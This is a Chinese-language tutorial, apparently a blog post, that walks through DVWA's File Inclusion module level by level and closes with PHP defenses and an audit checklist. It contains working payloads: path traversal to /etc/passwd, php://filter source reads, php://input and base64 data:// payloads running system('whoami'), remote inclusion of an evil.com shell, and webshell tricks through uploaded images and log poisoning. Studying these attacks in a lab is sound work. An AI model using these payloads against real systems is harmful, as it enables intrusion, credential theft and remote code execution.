1. 项目概述为什么File Inclusion漏洞值得深挖如果你在学Web安全或者刚接触DVWA靶场File Inclusion文件包含这个漏洞点你肯定绕不过去。我第一次接触它的时候感觉这名字挺唬人的“文件包含”听起来好像能把服务器上任意文件都“包含”进来读取有点黑客电影里那种“万能钥匙”的意思。实际深入后才发现它确实是Web安全里一个非常经典、也极具威力的漏洞类型尤其对于PHP环境而言。它不像SQL注入那样直接操作数据库也不像XSS那样在用户浏览器里搞事情它的核心在于“路径控制”——攻击者通过操控程序包含文件的路径参数让服务器执行或输出了本不该被访问的文件内容。DVWADamn Vulnerable Web Application作为一款故意设计得漏洞百出的PHP/MySQL应用是学习这类漏洞的绝佳沙盒。它把安全级别分为Low、Medium、High、Impossible四档让你能清晰地看到一个漏洞从最原始的状态到如何被逐步加固、最终被防御的全过程。而File Inclusion漏洞在DVWA中的体现更是将这种渐进式学习体验发挥到了极致。从最简单的直接包含服务器上的/etc/passwd文件到利用PHP伪协议实现远程代码执行这个漏洞的演变过程本身就是一部微缩的Web攻击史。所以这篇内容不只是带你“通关”DVWA的File Inclusion模块。我更想和你一起像侦探一样拆解每一行代码背后的逻辑理解每一个防护手段的原理特别是那个威力巨大又充满迷惑性的“PHP伪协议”。我们会从最基础的漏洞原理开始手把手复现攻击过程然后一步步分析如何防御最后再聊聊在真实开发中怎么避免写出有这类问题的代码。无论你是刚入门的安全爱好者还是想巩固基础的开发者相信这些实战中的细节和踩过的坑都能给你带来实实在在的收获。2. 漏洞原理深度剖析不仅仅是“读文件”很多人对文件包含漏洞的第一印象就是“读取服务器敏感文件”比如/etc/passwd。这没错但这只是它最浅层的一种表现。要真正理解它我们必须深入到PHP或其他服务端语言处理“包含”这个动作的机制中去。2.1 包含的本质代码的动态复用在PHP中include、require、include_once、require_once这些语句其设计初衷是为了优秀的代码复用。比如你把数据库连接配置写在config.php里然后在多个页面通过include(‘config.php’)来引入避免重复代码。关键点在于被包含的文件内容会被当作PHP代码来解析执行只要该文件包含合法的PHP标签。如果被包含的是.txt或.log文件并且其中包含?php ... ?标签那么这些PHP代码同样会被执行。漏洞产生的根源就在于这个“包含”的动作其目标文件路径$file如果可以被用户完全控制那么整个包含机制就向攻击者敞开了大门。在DVWA的Low级别下代码简单到令人发指?php $file $_GET[‘page‘]; ?这里$file变量直接来自URL参数page没有任何过滤。攻击者可以构造?page../../../../etc/passwd来尝试进行路径遍历Path Traversal读取系统文件。2.2 漏洞的两种主要类型根据包含目标的位置通常分为两类本地文件包含LFI, Local File Inclusion包含的是服务器本地的文件。就像上面提到的读取/etc/passwd。它的危害包括读取敏感配置文件如数据库连接信息、源代码、日志文件甚至在特定条件下执行代码。远程文件包含RFI, Remote File Inclusion包含的是远程服务器上的文件。例如?pagehttp://evil.com/shell.txt。这要求PHP配置中allow_url_include选项为On默认是Off。一旦开启攻击者可以直接让目标服务器去包含并执行自己控制的远程服务器上的PHP代码从而直接获得WebShell危害极大。在实战中RFI由于配置限制遇见较少而LFI更为常见并且通过PHP伪协议LFI常常能实现RFI的效果因此成为学习的重点。2.3 PHP伪协议将LFI“升级”为代码执行的关键这是File Inclusion漏洞中最精彩也最危险的部分。PHP内置了一系列封装协议Wrapper Protocol类似file://、http://。这些协议可以像访问普通文件一样通过文件系统函数如fopen()include来访问各种资源。当文件包含漏洞遇到这些协议时攻击面就被极大地拓宽了。在DVWA的Medium和High级别中虽然对http://、https://等远程协议进行了过滤但往往忽略了对本地伪协议的防御。以下几个协议在攻击中尤为常用php://filter这是一个元封装器设计用于数据流打开时的筛选过滤。在文件包含中它最经典的利用方式是读取PHP文件源码。因为正常情况下include一个.php文件服务器会执行它而不是显示它的源代码。但通过php://filter我们可以先对文件内容进行base64编码读取然后再解码从而绕过执行直接看到源码。例如?pagephp://filter/convert.base64-encode/resourceindex.php服务器会返回index.php文件经过base64编码后的内容解码后即可获得源代码。这对于代码审计、寻找其他漏洞至关重要。php://input这个协议允许你访问请求的原始数据即HTTP POST请求的body部分。当allow_url_include开启时你可以通过POST请求将PHP代码直接发送给这个参数服务器会将其包含并执行。例如?pagephp://input同时在POST Body里发送?php system(‘whoami‘); ?data://同样需要allow_url_include开启。它允许在数据流中直接嵌入数据。可以将其视为一个“内联”的文件。例如?pagedata://text/plain,?php phpinfo();?或者更常见的base64形式避免特殊字符被处理?pagedata://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg(即?php system(‘whoami‘);?的base64编码)理解这些协议的工作原理是理解中级和高级攻击手法的基石。在DVWA的实战中我们会看到如何利用它们绕过越来越严格的过滤。3. DVWA靶场实战四重关卡逐层突破现在让我们进入DVWA靶场将理论付诸实践。假设你的DVWA已经搭建在http://localhost/dvwa安全级别可以在左侧菜单调整。3.1 Low级别毫无防护的“裸奔”漏洞代码分析// File: vulnerability/fi/index.php ?php $file $_GET[‘page‘]; // 直接获取毫无过滤 ?攻击实操本地文件包含直接在URL参数中注入路径遍历。http://localhost/dvwa/vulnerabilities/fi/?page../../../../etc/passwd如果系统是Linux且Web进程有读取权限你就能看到用户列表。在Windows下可以尝试包含C:\\Windows\\System32\\drivers\\etc\\hosts。注意路径遍历的深度../的数量需要根据靶场文件的实际位置进行猜测和调整这本身就是一个试探过程。利用PHP伪协议读取源码这是获取其他漏洞点入口信息的关键一步。http://localhost/dvwa/vulnerabilities/fi/?pagephp://filter/convert.base64-encode/resourceindex.php页面会显示一串base64字符串复制下来在线或使用base64 -d命令解码就能看到当前index.php的源代码。你可以把resource的值改成../../config/config.inc.php尝试读取数据库配置文件。核心收获这一关展示了最原始的漏洞形态。它告诉我们永远不要相信用户输入尤其是直接用于文件系统操作的输入。3.2 Medium级别蹩脚的字符串替换漏洞代码分析// File: vulnerability/fi/index.php $file $_GET[‘page‘]; // 尝试过滤 $file str_replace(array(“http://“, “https://“), ““, $file); // 删除http/https $file str_replace(“../“, ““, $file); // 删除 ../防护思路与绕过开发者的思路是删掉“http://”和“../”字符串不就能防住远程包含和路径遍历了吗这个想法太天真了。这种过滤存在典型的“双写绕过”问题。攻击实操路径遍历绕过因为str_replace是简单的字符串替换且只执行一次。输入..././经过替换中间的../被删除就变成了../http://localhost/dvwa/vulnerabilities/fi/?page..././..././..././..././etc/passwd经过处理..././-../成功构造出路径遍历。远程包含绕过虽然http://被删了但Http://H大写呢或者htTp://呢str_replace是大小写敏感的。更直接的是如果服务器支持可以使用ftp://、file://等协议。但本例中主要防御思路还是双写hthttp://tp://evil.com/shell.txt删除中间的http://后就剩下了http://evil.com/shell.txt。不过Medium级别通常也禁用了allow_url_include所以RFI较难实现重点还是LFI和伪协议。PHP伪协议利用过滤规则完全没有涉及php://或data://。因此Low级别中使用的php://filter读源码的方法在这里完全适用。?pagephp://filter/convert.base64-encode/resourceindex.php核心收获不安全的过滤等于没有过滤甚至会给攻击者提供线索。安全防护必须是递归的、彻底的并且要考虑到各种大小写、编码等变形。3.3 High级别白名单机制的缺陷漏洞代码分析// File: vulnerability/fi/index.php $file $_GET[‘page‘]; if( !fnmatch( “file*“, $file ) $file ! “include.php“ ) { echo “ERROR: File not found!“; exit; }防护思路这里使用了白名单机制。fnmatch(“file*“, $file)函数检查$file是否以“file”字符串开头。这意味着只允许包含像file1.php、file2.php这样的文件。看起来非常严格。绕过技巧利用file://协议白名单要求路径以file开头。巧了PHP的file://协议正好以file开头这原本是用于访问本地文件系统的标准协议例如file:///etc/passwd。在这里它成了绕过白名单的钥匙。攻击实操包含系统文件http://localhost/dvwa/vulnerabilities/fi/?pagefile:///etc/passwd注意是file://后跟三个斜杠。在Unix-like系统中file:///表示根目录。这样我们就成功地让一个“合法”的以file开头、但意图恶意的请求通过了检查。能否使用其他伪协议比如php://filter不行因为它不以file开头会被白名单拒绝。data://也不行。所以High级别的防护实际上将攻击面缩小到了file://协议的利用上。但只要还能包含任意本地文件漏洞依然存在。核心收获白名单是比黑名单更安全的策略但白名单的设计必须绝对精确。这里的白名单逻辑file*过于宽泛意外允许了file://协议导致防护被绕过。安全策略的制定需要深刻理解所有可能输入的语义。3.4 Impossible级别真正的根治之道漏洞代码分析// File: vulnerability/fi/index.php $file $_GET[‘page‘]; // 只允许包含“include.php“文件 if( $file ! “include.php“ ) { echo “ERROR: File not found!“; exit; }防护思路这才是真正坚固的白名单。它写死了可包含的文件名只允许include.php。用户输入的page参数必须严格等于这个字符串任何额外的路径、协议都会被拒绝。这意味着包含文件的逻辑从“动态包含用户指定的文件”变成了“静态包含一个预设文件”彻底消除了用户输入的影响。攻击尝试任何修改page参数值的尝试比如include.php../、include.php?、file://等都会因为字符串不严格等于include.php而失败。漏洞被彻底封死。核心收获固定化、静态化是解决此类注入漏洞的终极方案。如果业务逻辑必须动态包含那么也应该使用一个预先定义好的映射表如数组[‘news‘‘news.php‘, ‘about‘‘about.php‘]通过用户传入的键名来查找对应的固定文件名而不是直接将输入拼接进路径。4. 防御方案设计与编码实践通过DVWA的四关我们看到了漏洞的形态和防御的演进。现在让我们跳出靶场总结在真实项目开发中应该如何防御文件包含漏洞。4.1 最佳防御实践清单严格实施白名单这是最有效的方法。像Impossible级别那样定义一个允许包含的文件列表或映射关系。用户只能选择“选项”而不能输入“路径”。$allowed_pages [‘home‘ ‘home.php‘, ‘contact‘ ‘contact.php‘, ‘about‘ ‘about.php‘]; $page $_GET[‘page‘]; if (array_key_exists($page, $allowed_pages)) { include(‘./templates/‘ . $allowed_pages[$page]); } else { include(‘./templates/error_404.php‘); }动态包含改为静态包含重新审视业务逻辑是否真的需要动态包含很多情况下可以通过路由控制器如MVC框架来分发请求完全避免使用include/require处理用户参数。路径固定化如果必须使用用户输入的一部分也要将其与固定的目录前缀拼接并禁止目录穿越。$base_dir ‘/var/www/html/app/templates/‘; $file $_GET[‘module‘]; // 规范化路径移除所有./和../ $full_path realpath($base_dir . $file); // 检查规范化后的路径是否仍然以$base_dir开头防止目录穿越 if ($full_path strpos($full_path, $base_dir) 0) { include($full_path); } else { die(‘Invalid file path.‘); }实操心得realpath()函数在解析../时会返回false如果路径最终超出根目录结合路径前缀检查能有效防御路径遍历。关闭危险配置在PHP生产环境配置php.ini中务必确保allow_url_fopen Off禁用远程URL文件访问allow_url_include Off绝对禁止远程文件包含这是RFI的命门 这能从根源上切断利用http://、ftp://及php://input、data://进行远程攻击的途径。输入验证与净化如果白名单难以实施必须进行严格的输入验证。过滤特殊字符移除或转义../、..\\、/、\\、%00空字节旧版本PHP可用于截断等。递归过滤像Medium级别的单次str_replace是无效的必须循环过滤直到字符串中不再包含危险字符。正则表达式匹配只允许字母、数字、下划线、短横线等安全字符。$file preg_replace(‘/[^a-zA-Z0-9_\-]/‘, ‘‘, $_GET[‘page‘]); // 只保留指定字符 $file . ‘.php‘; // 添加后缀 include(‘./pages/‘ . $file);4.2 框架安全与现代开发现代PHP框架如Laravel, ThinkPHP, Yii等在设计上通常已经避免了直接的文件包含漏洞。它们通过路由系统将URL映射到控制器类和方法视图文件通过模板引擎加载这些过程都不涉及直接用include包含用户输入。ThinkPHP示例在ThinkPHP 3.2.3中你通过URL访问/index.php/Home/Index/index框架会解析为Home模块、Index控制器、index操作。控制器和视图的加载由框架自动完成开发者无需手动拼接文件路径从而在架构层面消除了此类漏洞。重要提醒但这不意味着使用框架就绝对安全。如果开发者在框架内错误地使用了include/require例如在自定义函数中动态包含用户上传的文件名依然可能引入漏洞。框架提供的是更安全的编程环境和习惯但不能替代开发者自身的安全意识。5. 高级利用与组合拳技巧在更复杂的实战或CTF比赛中文件包含漏洞很少孤立存在。它常常是攻击链中的一环与其他漏洞结合产生更大威力。5.1 结合文件上传Getshell这是最常见的组合技。假设网站有文件上传功能但只允许上传图片检查后缀名.jpg,.png。你可以尝试上传一个内容为PHP代码的图片马如shell.jpg或者利用某些解析漏洞如Apache的文件.jpg.php解析漏洞。上传文件后服务器将其重命名或保存在一个已知路径如/uploads/2023/10/abcdefg.jpg。如果网站同时存在文件包含漏洞且你可以控制包含路径你就可以尝试包含这个上传的图片马?page./uploads/2023/10/abcdefg.jpg。由于include会解析文件中的PHP代码即使它后缀是.jpg其中的?php phpinfo();?也会被执行从而获得WebShell。5.2 利用日志文件注入代码Web服务器如Apache, Nginx或应用日志中会记录访问请求。如果攻击者能控制User-Agent、Referer等HTTP头并在其中写入PHP代码如?php system($_GET[‘c‘]);?那么这段代码就会被原样记录到日志文件里。通过文件包含漏洞找到日志文件的路径常见如/var/log/apache2/access.log 或通过/proc/self/fd/XX指向日志。包含这个日志文件?page/var/log/apache2/access.log。由于日志文件中包含了你预先注入的PHP代码include会执行它从而在日志文件中实现了代码执行。注意事项这种方法对日志文件格式和内容有要求且需要Web进程有读取日志文件的权限。在实际渗透测试中这常作为一种“旁路”攻击手段。5.3 PHP伪协议php://filter的链式利用php://filter不仅用于读源码其convert.*过滤器功能强大。例如convert.iconv.*可用于字符集转换在某些复杂的字符编码处理场景下可能被用于构造特定 payload。在更高级的攻击中攻击者会深入研究每个过滤器的特性寻找可能的利用点。6. 实战排查与防御检查清单当你开发完一个功能或者接手一个老项目时如何快速排查是否存在文件包含漏洞以下是一份自查清单代码审计阶段[ ]全局搜索include,require,include_once,require_once 以及fopen,file_get_contents等文件操作函数。[ ]检查它们的参数是否直接或间接经过简单处理来源于用户输入$_GET,$_POST,$_COOKIE,$_REQUEST,$_SERVER中的某些字段如PATH_INFO,QUERY_STRING。[ ]分析数据处理逻辑是白名单、黑名单还是路径拼接过滤是否递归、彻底是否考虑了大小写、双写、编码绕过[ ]查看框架配置如果使用框架是否遵循了框架推荐的路由和视图加载方式是否有自定义的危险函数调用服务器配置检查[ ]确认php.ini中allow_url_include和allow_url_fopen是否为Off。[ ]检查Web服务器如Nginx配置是否对PHP文件请求做了正确的转发处理避免某些特殊请求被直接当作静态文件读取源码。[ ]确保Web进程运行用户权限最小化避免其能读取/etc/passwd、/proc、日志目录等敏感位置。渗透测试验证[ ]手动测试对任何疑似接收文件路径的参数尝试输入../../../../etc/passwd、php://filter/convert.base64-encode/resourceindex.php等Payload。[ ]工具扫描使用Burp Suite、ZAP等工具的主动扫描功能或使用wfuzz、ffuf等工具对参数进行路径遍历Fuzz。[ ]代码审计工具辅助使用RIPS、Fortify SCA、SonarQube等静态代码分析工具可以自动识别潜在的文件包含漏洞点。文件包含漏洞的原理并不复杂但它的变种和利用方式却非常灵活。从DVWA的四个级别里我们能看到安全防护是一个层层递进、需要深思熟虑的过程。最关键的永远是将“不信任任何用户输入”这一原则刻在脑子里并在代码中通过白名单、路径固定化等强约束来实现它。理解PHP伪协议不仅能让你更好地攻击更能让你在防御时知道攻击者可能从哪个角度钻进来。希望这篇从入门到防御的详细拆解能帮你把这个漏洞吃透在以后的安全学习和开发工作中多一份笃定少一个漏洞。